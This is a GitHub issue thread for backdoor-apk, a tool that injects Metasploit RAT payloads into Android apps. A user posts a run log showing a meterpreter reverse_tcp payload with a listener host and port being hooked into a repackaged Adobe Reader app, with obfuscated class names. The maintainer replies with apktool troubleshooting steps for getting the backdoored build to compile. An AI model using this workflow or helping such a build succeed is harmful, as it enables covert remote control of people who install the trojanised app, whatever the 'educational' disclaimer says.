dana-at-cp / backdoor-apk

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Apache License 2.0
2.17k stars 699 forks source link

[!] Failed to recompile original #168

Closed aungsoehein closed 5 years ago

aungsoehein commented 5 years ago

./backdoor-apk.sh AdobeReader.apk


     / ______ \
     || _  _ ||
     ||| || |||          AAAAAA   PPPPPPP   KKK  KKK
     |||_||_|||         AAA  AAA  PPP  PPP  KKK KKK
     || _  _o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
     ||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
     |||_||_|||         AAA  AAA  PPP       KKK  KKK
     ||______||         AAA  AAA  PPP       KKK  KKK
    /__________\

____|__|__ /____\ |____| Dana James Traversie

[] Running backdoor-apk.sh v0.2.4a on Thu Feb 28 02:23:19 +0630 2019 [+] Android payload options: 1) meterpreter/reverse_http 3) meterpreter/reverse_tcp 5) shell/reverse_https 2) meterpreter/reverse_https 4) shell/reverse_http 6) shell/reverse_tcp [?] Please select an Android payload option: 3 [?] Please enter an LHOST value: 192.168.8.120 [?] Please enter an LPORT value: 4444 [+] Android manifest permission options: 1) Keep original 2) Merge with payload and shuffle [?] Please select an Android manifest permission option: 1 [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc [] Decompiling original APK file...done. [] Locating smali file to hook in original project...done. [+] Package where RAT smali files will be injected: com/adobe/reader [+] Smali file to hook RAT payload: com/adobe/reader/misc/ARApp.smali [] Generating RAT APK file...done. [] Decompiling RAT APK file...done. [+] Keeping permissions of original project [] Injecting helpful Java classes in RAT APK file...done. [] Creating new directory in original package for RAT smali files...done. [+] Inject package path: com/adobe/reader/zylvq [+] Generated new smali class name for MainBroadcastReceiver.smali: Xbfnn [+] Generated new smali class name for MainService.smali: Cfxff [+] Generated new smali class name for Payload.smali: Ebzdm [+] Generated new smali class name for StringObfuscator.smali: Ituds [+] Generated new smali method name for StringObfuscator.obfuscate method: dtjqz [+] Generated new smali method name for StringObfuscator.unobfuscate method: bkstn [] Copying RAT smali files to new directories in original project...done. [] Fixing RAT smali files...done. [] Obfuscating const-string values in RAT smali files...done. [] Adding hook in original smali file...done. [+] Unable to add persistence hook due to missing permission [] Recompiling original project with backdoor...done. [!] Failed to recompile original project with backdoor

dana-at-cp commented 5 years ago
  1. Make sure you are running the latest version of apktool
  2. Check run.log and verify an error occurred during apktool recompilation
  3. Execute the following command: apktool empty-framework-dir --force
  4. Retry using the backdoor-apk.sh script
dana-at-cp commented 5 years ago

More info from apktool: https://github.com/iBotPeaches/Apktool/issues/1579

dana-at-cp commented 5 years ago

If none of the suggestions work then please try another APK. I can't provide support for apktool.